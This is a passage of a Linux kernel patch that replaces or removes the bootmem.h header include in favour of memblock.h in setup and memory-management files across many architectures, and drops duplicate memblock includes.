--- a/arch/mips/rb532/prom.c
+++ b/arch/mips/rb532/prom.c
@@ -29,7 +29,7 @@
 #include <linux/export.h>
 #include <linux/string.h>
 #include <linux/console.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/ioport.h>
 #include <linux/blkdev.h>
 
diff --git a/arch/mips/sgi-ip27/ip27-memory.c b/arch/mips/sgi-ip27/ip27-memory.c
index cb1f1a6..d8b8444 100644
--- a/arch/mips/sgi-ip27/ip27-memory.c
+++ b/arch/mips/sgi-ip27/ip27-memory.c
@@ -18,7 +18,6 @@
 #include <linux/export.h>
 #include <linux/nodemask.h>
 #include <linux/swap.h>
-#include <linux/bootmem.h>
 #include <linux/pfn.h>
 #include <linux/highmem.h>
 #include <asm/page.h>
diff --git a/arch/mips/sibyte/common/cfe.c b/arch/mips/sibyte/common/cfe.c
index 092fb2a..12a780f 100644
--- a/arch/mips/sibyte/common/cfe.c
+++ b/arch/mips/sibyte/common/cfe.c
@@ -21,7 +21,7 @@
 #include <linux/linkage.h>
 #include <linux/mm.h>
 #include <linux/blkdev.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/pm.h>
 #include <linux/smp.h>
 
diff --git a/arch/mips/sibyte/swarm/setup.c b/arch/mips/sibyte/swarm/setup.c
index 152ca71..3b034b7 100644
--- a/arch/mips/sibyte/swarm/setup.c
+++ b/arch/mips/sibyte/swarm/setup.c
@@ -23,7 +23,7 @@
 
 #include <linux/spinlock.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/blkdev.h>
 #include <linux/init.h>
 #include <linux/kernel.h>
diff --git a/arch/mips/txx9/rbtx4938/prom.c b/arch/mips/txx9/rbtx4938/prom.c
index bcb4692..2b36a2e 100644
--- a/arch/mips/txx9/rbtx4938/prom.c
+++ b/arch/mips/txx9/rbtx4938/prom.c
@@ -11,7 +11,7 @@
  */
 
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <asm/bootinfo.h>
 #include <asm/txx9/generic.h>
 #include <asm/txx9/rbtx4938.h>
diff --git a/arch/nds32/kernel/setup.c b/arch/nds32/kernel/setup.c
index 63a1a5e..eacc790 100644
--- a/arch/nds32/kernel/setup.c
+++ b/arch/nds32/kernel/setup.c
@@ -2,9 +2,8 @@
 // Copyright (C) 2005-2017 Andes Technology Corporation
 
 #include <linux/cpu.h>
-#include <linux/bootmem.h>
-#include <linux/seq_file.h>
 #include <linux/memblock.h>
+#include <linux/seq_file.h>
 #include <linux/console.h>
 #include <linux/screen_info.h>
 #include <linux/delay.h>
diff --git a/arch/nds32/mm/highmem.c b/arch/nds32/mm/highmem.c
index e17cb8a..022779a 100644
--- a/arch/nds32/mm/highmem.c
+++ b/arch/nds32/mm/highmem.c
@@ -6,7 +6,7 @@
 #include <linux/sched.h>
 #include <linux/smp.h>
 #include <linux/interrupt.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <asm/fixmap.h>
 #include <asm/tlbflush.h>
 
diff --git a/arch/nds32/mm/init.c b/arch/nds32/mm/init.c
index 66d3e9c..131104b 100644
--- a/arch/nds32/mm/init.c
+++ b/arch/nds32/mm/init.c
@@ -7,12 +7,11 @@
 #include <linux/errno.h>
 #include <linux/swap.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/mman.h>
 #include <linux/nodemask.h>
 #include <linux/initrd.h>
 #include <linux/highmem.h>
-#include <linux/memblock.h>
 
 #include <asm/sections.h>
 #include <asm/setup.h>
diff --git a/arch/nios2/kernel/prom.c b/arch/nios2/kernel/prom.c
index a6d4f75..232a36b 100644
--- a/arch/nios2/kernel/prom.c
+++ b/arch/nios2/kernel/prom.c
@@ -25,7 +25,7 @@
 
 #include <linux/init.h>
 #include <linux/types.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/of.h>
 #include <linux/of_fdt.h>
 #include <linux/io.h>
diff --git a/arch/nios2/kernel/setup.c b/arch/nios2/kernel/setup.c
index 2d0011d..6bbd4ae 100644
--- a/arch/nios2/kernel/setup.c
+++ b/arch/nios2/kernel/setup.c
@@ -16,7 +16,6 @@
 #include <linux/sched.h>
 #include <linux/sched/task.h>
 #include <linux/console.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/initrd.h>
 #include <linux/of_fdt.h>
diff --git a/arch/nios2/mm/init.c b/arch/nios2/mm/init.c
index 1292350..16cea57 100644
--- a/arch/nios2/mm/init.c
+++ b/arch/nios2/mm/init.c
@@ -23,7 +23,7 @@
 #include <linux/mm.h>
 #include <linux/init.h>
 #include <linux/pagemap.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/slab.h>
 #include <linux/binfmts.h>
 
diff --git a/arch/openrisc/kernel/setup.c b/arch/openrisc/kernel/setup.c
index 9d28ab1..e7eb688 100644
--- a/arch/openrisc/kernel/setup.c
+++ b/arch/openrisc/kernel/setup.c
@@ -30,13 +30,12 @@
 #include <linux/delay.h>
 #include <linux/console.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/seq_file.h>
 #include <linux/serial.h>
 #include <linux/initrd.h>
 #include <linux/of_fdt.h>
 #include <linux/of.h>
-#include <linux/memblock.h>
 #include <linux/device.h>
 
 #include <asm/sections.h>
diff --git a/arch/openrisc/mm/init.c b/arch/openrisc/mm/init.c
index 91a6a9a..d157310 100644
--- a/arch/openrisc/mm/init.c
+++ b/arch/openrisc/mm/init.c
@@ -26,12 +26,11 @@
 #include <linux/mm.h>
 #include <linux/swap.h>
 #include <linux/smp.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/init.h>
 #include <linux/delay.h>
 #include <linux/blkdev.h>	/* for initrd_* */
 #include <linux/pagemap.h>
-#include <linux/memblock.h>
 
 #include <asm/segment.h>
 #include <asm/pgalloc.h>
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index bc368e9..2647120 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -14,7 +14,6 @@
 
 #include <linux/module.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/gfp.h>
 #include <linux/delay.h>
diff --git a/arch/powerpc/kernel/pci_32.c b/arch/powerpc/kernel/pci_32.c
index 2fb4781..d63be12 100644
--- a/arch/powerpc/kernel/pci_32.c
+++ b/arch/powerpc/kernel/pci_32.c
@@ -10,7 +10,7 @@
 #include <linux/capability.h>
 #include <linux/sched.h>
 #include <linux/errno.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/syscalls.h>
 #include <linux/irq.h>
 #include <linux/list.h>
diff --git a/arch/powerpc/kernel/setup_64.c b/arch/powerpc/kernel/setup_64.c
index b3e70cc..791c969 100644
--- a/arch/powerpc/kernel/setup_64.c
+++ b/arch/powerpc/kernel/setup_64.c
@@ -29,10 +29,9 @@
 #include <linux/unistd.h>
 #include <linux/serial.h>
 #include <linux/serial_8250.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/pci.h>
 #include <linux/lockdep.h>
-#include <linux/memblock.h>
 #include <linux/memory.h>
 #include <linux/nmi.h>
 
diff --git a/arch/powerpc/lib/alloc.c b/arch/powerpc/lib/alloc.c
index bf87d6e..5b61704 100644
--- a/arch/powerpc/lib/alloc.c
+++ b/arch/powerpc/lib/alloc.c
@@ -2,7 +2,7 @@
 #include <linux/types.h>
 #include <linux/init.h>
 #include <linux/slab.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/string.h>
 #include <asm/setup.h>
 
diff --git a/arch/powerpc/mm/hugetlbpage.c b/arch/powerpc/mm/hugetlbpage.c
index e87f9ef9..50d1fb4 100644
--- a/arch/powerpc/mm/hugetlbpage.c
+++ b/arch/powerpc/mm/hugetlbpage.c
@@ -15,7 +15,6 @@
 #include <linux/export.h>
 #include <linux/of_fdt.h>
 #include <linux/memblock.h>
-#include <linux/bootmem.h>
 #include <linux/moduleparam.h>
 #include <linux/swap.h>
 #include <linux/swapops.h>
diff --git a/arch/powerpc/mm/mem.c b/arch/powerpc/mm/mem.c
index c141134..578cbb2 100644
--- a/arch/powerpc/mm/mem.c
+++ b/arch/powerpc/mm/mem.c
@@ -27,12 +27,11 @@
 #include <linux/mm.h>
 #include <linux/stddef.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/highmem.h>
 #include <linux/initrd.h>
 #include <linux/pagemap.h>
 #include <linux/suspend.h>
-#include <linux/memblock.h>
 #include <linux/hugetlb.h>
 #include <linux/slab.h>
 #include <linux/vmalloc.h>
diff --git a/arch/powerpc/mm/mmu_context_nohash.c b/arch/powerpc/mm/mmu_context_nohash.c
index 954f198..67b9d7b 100644
--- a/arch/powerpc/mm/mmu_context_nohash.c
+++ b/arch/powerpc/mm/mmu_context_nohash.c
@@ -44,7 +44,7 @@
 #include <linux/mm.h>
 #include <linux/init.h>
 #include <linux/spinlock.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/notifier.h>
 #include <linux/cpu.h>
 #include <linux/slab.h>
diff --git a/arch/powerpc/mm/numa.c b/arch/powerpc/mm/numa.c
index 5fc0587..be1dc664 100644
--- a/arch/powerpc/mm/numa.c
+++ b/arch/powerpc/mm/numa.c
@@ -11,7 +11,7 @@
 #define pr_fmt(fmt) "numa: " fmt
 
 #include <linux/threads.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/init.h>
 #include <linux/mm.h>
 #include <linux/mmzone.h>
@@ -19,7 +19,6 @@
 #include <linux/nodemask.h>
 #include <linux/cpu.h>
 #include <linux/notifier.h>
-#include <linux/memblock.h>
 #include <linux/of.h>
 #include <linux/pfn.h>
 #include <linux/cpuset.h>
diff --git a/arch/powerpc/platforms/powermac/nvram.c b/arch/powerpc/platforms/powermac/nvram.c
index f45b369..f3391be 100644
--- a/arch/powerpc/platforms/powermac/nvram.c
+++ b/arch/powerpc/platforms/powermac/nvram.c
@@ -18,7 +18,7 @@
 #include <linux/errno.h>
 #include <linux/adb.h>
 #include <linux/pmu.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/completion.h>
 #include <linux/spinlock.h>
 #include <asm/sections.h>
diff --git a/arch/powerpc/platforms/powernv/pci-ioda.c b/arch/powerpc/platforms/powernv/pci-ioda.c
index 23a67b5..aba81cb 100644
--- a/arch/powerpc/platforms/powernv/pci-ioda.c
+++ b/arch/powerpc/platforms/powernv/pci-ioda.c
@@ -17,11 +17,10 @@
 #include <linux/delay.h>
 #include <linux/string.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/irq.h>
 #include <linux/io.h>
 #include <linux/msi.h>
-#include <linux/memblock.h>
 #include <linux/iommu.h>
 #include <linux/rculist.h>
 #include <linux/sizes.h>
diff --git a/arch/powerpc/platforms/ps3/setup.c b/arch/powerpc/platforms/ps3/setup.c
index 1251985..658bfab 100644
--- a/arch/powerpc/platforms/ps3/setup.c
+++ b/arch/powerpc/platforms/ps3/setup.c
@@ -24,7 +24,7 @@
 #include <linux/root_dev.h>
 #include <linux/console.h>
 #include <linux/export.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/machdep.h>
 #include <asm/firmware.h>
diff --git a/arch/powerpc/sysdev/msi_bitmap.c b/arch/powerpc/sysdev/msi_bitmap.c
index 349a9ff..2444fed 100644
--- a/arch/powerpc/sysdev/msi_bitmap.c
+++ b/arch/powerpc/sysdev/msi_bitmap.c
@@ -12,7 +12,7 @@
 #include <linux/kernel.h>
 #include <linux/kmemleak.h>
 #include <linux/bitmap.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <asm/msi_bitmap.h>
 #include <asm/setup.h>
 
diff --git a/arch/riscv/mm/init.c b/arch/riscv/mm/init.c
index d58c111..1d9bfaf 100644
--- a/arch/riscv/mm/init.c
+++ b/arch/riscv/mm/init.c
@@ -13,9 +13,8 @@
 
 #include <linux/init.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
-#include <linux/initrd.h>
 #include <linux/memblock.h>
+#include <linux/initrd.h>
 #include <linux/swap.h>
 #include <linux/sizes.h>
 
diff --git a/arch/s390/kernel/crash_dump.c b/arch/s390/kernel/crash_dump.c
index d17566a..97eae38 100644
--- a/arch/s390/kernel/crash_dump.c
+++ b/arch/s390/kernel/crash_dump.c
@@ -13,10 +13,9 @@
 #include <linux/mm.h>
 #include <linux/gfp.h>
 #include <linux/slab.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/elf.h>
 #include <asm/asm-offsets.h>
-#include <linux/memblock.h>
 #include <asm/os_info.h>
 #include <asm/elf.h>
 #include <asm/ipl.h>
diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c
index 2e29456..d55a11b 100644
--- a/arch/s390/kernel/setup.c
+++ b/arch/s390/kernel/setup.c
@@ -34,7 +34,6 @@
 #include <linux/delay.h>
 #include <linux/init.h>
 #include <linux/initrd.h>
-#include <linux/bootmem.h>
 #include <linux/root_dev.h>
 #include <linux/console.h>
 #include <linux/kernel_stat.h>
diff --git a/arch/s390/kernel/smp.c b/arch/s390/kernel/smp.c
index 8f3aafc..f393842 100644
--- a/arch/s390/kernel/smp.c
+++ b/arch/s390/kernel/smp.c
@@ -20,7 +20,7 @@
 #define pr_fmt(fmt) KMSG_COMPONENT ": " fmt
 
 #include <linux/workqueue.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/export.h>
 #include <linux/init.h>
 #include <linux/mm.h>
@@ -35,7 +35,6 @@
 #include <linux/sched/hotplug.h>
 #include <linux/sched/task_stack.h>
 #include <linux/crash_dump.h>
-#include <linux/memblock.h>
 #include <linux/kprobes.h>
 #include <asm/asm-offsets.h>
 #include <asm/diag.h>
diff --git a/arch/s390/kernel/topology.c b/arch/s390/kernel/topology.c
index 799a918..8992b04 100644
--- a/arch/s390/kernel/topology.c
+++ b/arch/s390/kernel/topology.c
@@ -8,7 +8,7 @@
 #define pr_fmt(fmt) KMSG_COMPONENT ": " fmt
 
 #include <linux/workqueue.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/uaccess.h>
 #include <linux/sysctl.h>
 #include <linux/cpuset.h>
diff --git a/arch/s390/kernel/vdso.c b/arch/s390/kernel/vdso.c
index 3031cc6..dbcb412 100644
--- a/arch/s390/kernel/vdso.c
+++ b/arch/s390/kernel/vdso.c
@@ -18,7 +18,7 @@
 #include <linux/user.h>
 #include <linux/elf.h>
 #include <linux/security.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/compat.h>
 #include <asm/asm-offsets.h>
 #include <asm/pgtable.h>
diff --git a/arch/s390/mm/extmem.c b/arch/s390/mm/extmem.c
index 84111a4..eba2def 100644
--- a/arch/s390/mm/extmem.c
+++ b/arch/s390/mm/extmem.c
@@ -16,7 +16,7 @@
 #include <linux/list.h>
 #include <linux/slab.h>
 #include <linux/export.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/ctype.h>
 #include <linux/ioport.h>
 #include <asm/diag.h>
diff --git a/arch/s390/mm/init.c b/arch/s390/mm/init.c
index 67bdba6..e472cd7 100644
--- a/arch/s390/mm/init.c
+++ b/arch/s390/mm/init.c
@@ -21,7 +21,7 @@
 #include <linux/smp.h>
 #include <linux/init.h>
 #include <linux/pagemap.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/memory.h>
 #include <linux/pfn.h>
 #include <linux/poison.h>
@@ -29,7 +29,6 @@
 #include <linux/export.h>
 #include <linux/cma.h>
 #include <linux/gfp.h>
-#include <linux/memblock.h>
 #include <asm/processor.h>
 #include <linux/uaccess.h>
 #include <asm/pgtable.h>
diff --git a/arch/s390/mm/vmem.c b/arch/s390/mm/vmem.c
index 04638b0..0472e27 100644
--- a/arch/s390/mm/vmem.c
+++ b/arch/s390/mm/vmem.c
@@ -4,14 +4,13 @@
  *    Author(s): Heiko Carstens <heiko.carstens@de.ibm.com>
  */
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/pfn.h>
 #include <linux/mm.h>
 #include <linux/init.h>
 #include <linux/list.h>
 #include <linux/hugetlb.h>
 #include <linux/slab.h>
-#include <linux/memblock.h>
 #include <asm/cacheflush.h>
 #include <asm/pgalloc.h>
 #include <asm/pgtable.h>
diff --git a/arch/s390/numa/mode_emu.c b/arch/s390/numa/mode_emu.c
index 5a381fc..bfba273 100644
--- a/arch/s390/numa/mode_emu.c
+++ b/arch/s390/numa/mode_emu.c
@@ -22,7 +22,6 @@
 #include <linux/kernel.h>
 #include <linux/cpumask.h>
 #include <linux/memblock.h>
-#include <linux/bootmem.h>
 #include <linux/node.h>
 #include <linux/memory.h>
 #include <linux/slab.h>
diff --git a/arch/s390/numa/numa.c b/arch/s390/numa/numa.c
index 297f5d8..ae0d9e8 100644
--- a/arch/s390/numa/numa.c
+++ b/arch/s390/numa/numa.c
@@ -13,7 +13,6 @@
 #include <linux/kernel.h>
 #include <linux/mmzone.h>
 #include <linux/cpumask.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/slab.h>
 #include <linux/node.h>
diff --git a/arch/s390/numa/toptree.c b/arch/s390/numa/toptree.c
index 7f61cc3..71a608c 100644
--- a/arch/s390/numa/toptree.c
+++ b/arch/s390/numa/toptree.c
@@ -8,7 +8,7 @@
  */
 
 #include <linux/kernel.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/cpumask.h>
 #include <linux/list.h>
 #include <linux/list_sort.h>
diff --git a/arch/sh/mm/init.c b/arch/sh/mm/init.c
index 21447f8..c8c13c77 100644
--- a/arch/sh/mm/init.c
+++ b/arch/sh/mm/init.c
@@ -11,12 +11,11 @@
 #include <linux/swap.h>
 #include <linux/init.h>
 #include <linux/gfp.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/proc_fs.h>
 #include <linux/pagemap.h>
 #include <linux/percpu.h>
 #include <linux/io.h>
-#include <linux/memblock.h>
 #include <linux/dma-mapping.h>
 #include <linux/export.h>
 #include <asm/mmu_context.h>
diff --git a/arch/sh/mm/ioremap_fixed.c b/arch/sh/mm/ioremap_fixed.c
index 927a129..07e744d 100644
--- a/arch/sh/mm/ioremap_fixed.c
+++ b/arch/sh/mm/ioremap_fixed.c
@@ -14,7 +14,7 @@
 #include <linux/module.h>
 #include <linux/mm.h>
 #include <linux/io.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/proc_fs.h>
 #include <asm/fixmap.h>
 #include <asm/page.h>
diff --git a/arch/sparc/kernel/mdesc.c b/arch/sparc/kernel/mdesc.c
index a41526b..9a26b44 100644
--- a/arch/sparc/kernel/mdesc.c
+++ b/arch/sparc/kernel/mdesc.c
@@ -5,13 +5,11 @@
  */
 #include <linux/kernel.h>
 #include <linux/types.h>
-#include <linux/memblock.h>
 #include <linux/log2.h>
 #include <linux/list.h>
 #include <linux/slab.h>
 #include <linux/mm.h>
 #include <linux/miscdevice.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/export.h>
 #include <linux/refcount.h>
diff --git a/arch/sparc/kernel/prom_32.c b/arch/sparc/kernel/prom_32.c
index 4389944..d41e2a7 100644
--- a/arch/sparc/kernel/prom_32.c
+++ b/arch/sparc/kernel/prom_32.c
@@ -19,7 +19,7 @@
 #include <linux/types.h>
 #include <linux/string.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/prom.h>
 #include <asm/oplib.h>
diff --git a/arch/sparc/kernel/setup_64.c b/arch/sparc/kernel/setup_64.c
index 5fb11ea..0143909 100644
--- a/arch/sparc/kernel/setup_64.c
+++ b/arch/sparc/kernel/setup_64.c
@@ -32,7 +32,7 @@
 #include <linux/initrd.h>
 #include <linux/module.h>
 #include <linux/start_kernel.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <uapi/linux/mount.h>
 
 #include <asm/io.h>
diff --git a/arch/sparc/kernel/smp_64.c b/arch/sparc/kernel/smp_64.c
index 6cc80d0..4792e08 100644
--- a/arch/sparc/kernel/smp_64.c
+++ b/arch/sparc/kernel/smp_64.c
@@ -22,7 +22,7 @@
 #include <linux/cache.h>
 #include <linux/jiffies.h>
 #include <linux/profile.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/vmalloc.h>
 #include <linux/ftrace.h>
 #include <linux/cpu.h>
diff --git a/arch/sparc/mm/init_32.c b/arch/sparc/mm/init_32.c
index 8807145..d900952 100644
--- a/arch/sparc/mm/init_32.c
+++ b/arch/sparc/mm/init_32.c
@@ -22,7 +22,6 @@
 #include <linux/initrd.h>
 #include <linux/init.h>
 #include <linux/highmem.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/pagemap.h>
 #include <linux/poison.h>
diff --git a/arch/sparc/mm/init_64.c b/arch/sparc/mm/init_64.c
index c2c8bff..4d4d331 100644
--- a/arch/sparc/mm/init_64.c
+++ b/arch/sparc/mm/init_64.c
@@ -11,7 +11,7 @@
 #include <linux/sched.h>
 #include <linux/string.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/mm.h>
 #include <linux/hugetlb.h>
 #include <linux/initrd.h>
@@ -25,7 +25,6 @@
 #include <linux/sort.h>
 #include <linux/ioport.h>
 #include <linux/percpu.h>
-#include <linux/memblock.h>
 #include <linux/mmzone.h>
 #include <linux/gfp.h>
 
diff --git a/arch/sparc/mm/srmmu.c b/arch/sparc/mm/srmmu.c
index b48fea5..a6142c5 100644
--- a/arch/sparc/mm/srmmu.c
+++ b/arch/sparc/mm/srmmu.c
@@ -11,7 +11,7 @@
 
 #include <linux/seq_file.h>
 #include <linux/spinlock.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/pagemap.h>
 #include <linux/vmalloc.h>
 #include <linux/kdebug.h>
diff --git a/arch/um/drivers/net_kern.c b/arch/um/drivers/net_kern.c
index ef19a39..6738168 100644
--- a/arch/um/drivers/net_kern.c
+++ b/arch/um/drivers/net_kern.c
@@ -6,7 +6,7 @@
  * Licensed under the GPL.
  */
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/etherdevice.h>
 #include <linux/ethtool.h>
 #include <linux/inetdevice.h>
diff --git a/arch/um/drivers/vector_kern.c b/arch/um/drivers/vector_kern.c
index 9d77579..af72633 100644
--- a/arch/um/drivers/vector_kern.c
+++ b/arch/um/drivers/vector_kern.c
@@ -9,7 +9,7 @@
  */
 
 #include <linux/version.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/etherdevice.h>
 #include <linux/ethtool.h>
 #include <linux/inetdevice.h>
diff --git a/arch/um/kernel/initrd.c b/arch/um/kernel/initrd.c
index 844056c..3678f5b 100644
--- a/arch/um/kernel/initrd.c
+++ b/arch/um/kernel/initrd.c
@@ -4,7 +4,7 @@
  */
 
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/initrd.h>
 #include <asm/types.h>
 #include <init.h>
diff --git a/arch/um/kernel/mem.c b/arch/um/kernel/mem.c
index 2c672a8..1067469 100644
--- a/arch/um/kernel/mem.c
+++ b/arch/um/kernel/mem.c
@@ -5,7 +5,6 @@
 
 #include <linux/stddef.h>
 #include <linux/module.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/highmem.h>
 #include <linux/mm.h>
diff --git a/arch/um/kernel/physmem.c b/arch/um/kernel/physmem.c
index 296a91a..5bf56af 100644
--- a/arch/um/kernel/physmem.c
+++ b/arch/um/kernel/physmem.c
@@ -4,7 +4,6 @@
  */
 
 #include <linux/module.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/mm.h>
 #include <linux/pfn.h>
diff --git a/arch/unicore32/kernel/hibernate.c b/arch/unicore32/kernel/hibernate.c
index 9969ec3..29b71c6 100644
--- a/arch/unicore32/kernel/hibernate.c
+++ b/arch/unicore32/kernel/hibernate.c
@@ -13,7 +13,7 @@
 
 #include <linux/gfp.h>
 #include <linux/suspend.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/page.h>
 #include <asm/pgtable.h>
diff --git a/arch/unicore32/kernel/setup.c b/arch/unicore32/kernel/setup.c
index 9f163f9..b2c38b32 100644
--- a/arch/unicore32/kernel/setup.c
+++ b/arch/unicore32/kernel/setup.c
@@ -17,7 +17,7 @@
 #include <linux/utsname.h>
 #include <linux/initrd.h>
 #include <linux/console.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/seq_file.h>
 #include <linux/screen_info.h>
 #include <linux/init.h>
@@ -27,7 +27,6 @@
 #include <linux/smp.h>
 #include <linux/fs.h>
 #include <linux/proc_fs.h>
-#include <linux/memblock.h>
 #include <linux/elf.h>
 #include <linux/io.h>
 
diff --git a/arch/unicore32/mm/init.c b/arch/unicore32/mm/init.c
index 3e5bb45..0d2b8fe 100644
--- a/arch/unicore32/mm/init.c
+++ b/arch/unicore32/mm/init.c
@@ -11,13 +11,12 @@
 #include <linux/errno.h>
 #include <linux/swap.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/mman.h>
 #include <linux/nodemask.h>
 #include <linux/initrd.h>
 #include <linux/highmem.h>
 #include <linux/gfp.h>
-#include <linux/memblock.h>
 #include <linux/sort.h>
 #include <linux/dma-mapping.h>
 #include <linux/export.h>
diff --git a/arch/unicore32/mm/mmu.c b/arch/unicore32/mm/mmu.c
index 18b355a..040a8c2 100644
--- a/arch/unicore32/mm/mmu.c
+++ b/arch/unicore32/mm/mmu.c
@@ -17,7 +17,6 @@
 #include <linux/nodemask.h>
 #include <linux/memblock.h>
 #include <linux/fs.h>
-#include <linux/bootmem.h>
 #include <linux/io.h>
 
 #include <asm/cputype.h>
diff --git a/arch/x86/kernel/acpi/boot.c b/arch/x86/kernel/acpi/boot.c
index fd887c1..35419f9 100644
--- a/arch/x86/kernel/acpi/boot.c
+++ b/arch/x86/kernel/acpi/boot.c
@@ -32,7 +32,7 @@
 #include <linux/dmi.h>
 #include <linux/irq.h>
 #include <linux/slab.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/ioport.h>
 #include <linux/pci.h>
 #include <linux/efi-bgrt.h>
diff --git a/arch/x86/kernel/acpi/sleep.c b/arch/x86/kernel/acpi/sleep.c
index f1915b7..ca13851 100644
--- a/arch/x86/kernel/acpi/sleep.c
+++ b/arch/x86/kernel/acpi/sleep.c
@@ -7,7 +7,6 @@
  */
 
 #include <linux/acpi.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/dmi.h>
 #include <linux/cpumask.h>
diff --git a/arch/x86/kernel/apic/apic.c b/arch/x86/kernel/apic/apic.c
index 84132ed..45ae4ce 100644
--- a/arch/x86/kernel/apic/apic.c
+++ b/arch/x86/kernel/apic/apic.c
@@ -20,7 +20,7 @@
 #include <linux/acpi_pmtmr.h>
 #include <linux/clockchips.h>
 #include <linux/interrupt.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/ftrace.h>
 #include <linux/ioport.h>
 #include <linux/export.h>
diff --git a/arch/x86/kernel/apic/io_apic.c b/arch/x86/kernel/apic/io_apic.c
index 8c74509..5fbc57e 100644
--- a/arch/x86/kernel/apic/io_apic.c
+++ b/arch/x86/kernel/apic/io_apic.c
@@ -47,7 +47,7 @@
 #include <linux/kthread.h>
 #include <linux/jiffies.h>	/* time_after() */
 #include <linux/slab.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/irqdomain.h>
 #include <asm/io.h>
diff --git a/arch/x86/kernel/cpu/common.c b/arch/x86/kernel/cpu/common.c
index f48f0b9..344865c 100644
--- a/arch/x86/kernel/cpu/common.c
+++ b/arch/x86/kernel/cpu/common.c
@@ -1,7 +1,7 @@
 /* cpu_feature_enabled() cannot be used this early */
 #define USE_EARLY_PGTABLE_L5
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/linkage.h>
 #include <linux/bitops.h>
 #include <linux/kernel.h>
diff --git a/arch/x86/kernel/e820.c b/arch/x86/kernel/e820.c
index 7ea8748..cd3b448 100644
--- a/arch/x86/kernel/e820.c
+++ b/arch/x86/kernel/e820.c
@@ -9,11 +9,10 @@
  * allocation code routines via a platform independent interface (memblock, etc.).
  */
 #include <linux/crash_dump.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/suspend.h>
 #include <linux/acpi.h>
 #include <linux/firmware-map.h>
-#include <linux/memblock.h>
 #include <linux/sort.h>
 
 #include <asm/e820/api.h>
diff --git a/arch/x86/kernel/mpparse.c b/arch/x86/kernel/mpparse.c
index f1c5eb9..3482460 100644
--- a/arch/x86/kernel/mpparse.c
+++ b/arch/x86/kernel/mpparse.c
@@ -11,7 +11,6 @@
 #include <linux/mm.h>
 #include <linux/init.h>
 #include <linux/delay.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/kernel_stat.h>
 #include <linux/mc146818rtc.h>
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index 7ba73fe..f4562fc 100644
--- a/arch/x86/kernel/pci-dma.c
